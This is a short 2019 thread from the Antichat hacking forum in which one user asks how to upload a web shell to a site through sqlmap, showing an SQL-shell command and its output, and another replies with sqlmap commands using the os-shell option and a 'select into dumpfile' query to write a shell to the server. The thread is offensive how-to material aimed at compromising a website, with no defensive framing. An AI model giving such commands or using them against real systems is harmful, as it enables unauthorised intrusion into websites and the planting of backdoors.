ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Песочница (https://forum.antichat.io/forumdisplay.php?f=189)
-   -   sqlmap shell (https://forum.antichat.io/showthread.php?t=472192)

Groove 04.08.2019 14:04

Подскажите как залить shell через sqlmap ?

Код:

sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell
Выдало

Код:

[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )

BabaDook 04.08.2019 15:05

Цитата:

Сообщение от Groove

Подскажите как залить shell через sqlmap ?
Код:

sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell
Выдало
Код:

[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )

Ну, первое sqlmap.py -u https://site.ru --random-agent os-shell дальше указываешь архитектуру, и путь до папки записи.

или если твой вариант sqlmap.py -u https://site.ru --random-agent --sql-shell "select into dumpfile '''путь до шелла'"


Время: 10:01